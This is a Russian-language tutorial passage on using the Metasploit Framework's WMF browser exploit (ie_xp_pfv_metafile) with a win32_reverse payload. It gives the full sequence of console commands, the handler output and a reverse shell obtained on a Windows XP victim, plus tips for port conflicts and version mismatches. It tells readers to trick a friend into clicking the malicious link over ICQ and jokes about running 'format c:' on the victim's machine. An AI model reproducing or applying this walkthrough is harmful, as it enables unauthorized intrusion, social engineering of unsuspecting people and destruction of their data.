- >msf ie_xp_pfv_metafile(win32_reverse) > exploit
msf >Could not start listener: Operation not permitted
Что делать? — освободить порт (уже занят чем то, буквально — не могу запустить слушатель:операция не разрешена) или использовать другой, например set LPORT 8081
6 Ошибка
- Client connected from ххх.ххх.ххх.ххх:1879…
Undefined subroutine &Pex::Utils::JSUnescape called at /home/framework/exploits/
ie_vml_rectfill.pm line 156.
Exiting Reverse Handler.
msf ie_vml_rectfill(win32_reverse) >
Это ещё что? Неопределённая подпрограмма и … ну вообщем скорее всего вы скачали свежий сплоит и засунули в старую версию пакета, вообщем работать не будет. Cплоиты которые вышли после пакета в большинстве своём будут работать только на свежей версии, на данный момент 2.7 (как раз касается свежего сплоита ie_vml_rectfill.pm. Так что или обновляйте пакет, либо качайте последний…
Пример
(практическое использование)
- Эксплоит: ie_xp_pfv_metafile, начинка win32_reverse
- msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set LHOST 10.0.0.1
LHOST -> 10.0.0.1
Вообщем разобрались задали всё необходимое для сплоита, теперь можно переходить к начинке:
командуем set PAYLOAD [имя_начинки],
- msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) >msf ie_xp_pfv_metafile(win32_reverse) > exploit
[*] Starting Reverse Handler.
Готово! Консоль говорит, что жду соединений к http://10.0.0.1:8080/
Впариваем ссылку другу (или подружке) например через асю..
Маша, смотри какой прикол: http://10.0.0.1:8080/ (прим. вообще-то тут должен быть внешний ip)
[*] HTTP Client connected from 10.0.0.2:1116, redirecting… — клиент соединился, его IP 10.0.0.2:1116, редирект
[*] HTTP Client connected from 10.0.0.2:1117, sending 1604 bytes of payload… — отправлено 1604 байт начинки (реверс-шелл тут)
[*] Got connection from 10.0.0.1:4321 10.0.0.2:1118 — установлено соединение (пайп с cmd удалённого компа)
- Microsoft Windows XP [‘?абЁп 5.1.2600]
(‘) ?RаЇRа жЁп? cЄаRбRдв, 1985-2001.
<>
О блин!, Это ещё что, скажете Вы — это командная строка удалённого компа того юзверя!
А что за абракадабра? — Это не та кодовая страница выбрана (у него русская винда стоит!) Сейчас проверим! chcp
- C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp
chcp
‘?Єгй п ЄR¤Rў п бва -Ёж: 866
<>
Точно это 866, поставим 1251 (виндовую, а не до с)
- C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp 1251
chcp 1251
‘?Єгй п ЄR¤Rў п бва -Ёж: 1251
C:\Documents and Settings\Администратор\Рабочий стол>
О! Теперь всё по русски! Что делать в cmd чужого компа зависит от вашей фантазии, список команд смотрите в help по консольным командам windows. (format c: — жесть!)
Был разобран конкретный пример использования WMF-Эксплоита с начинкой реверс-шелла, ваши варианты могут быть другими.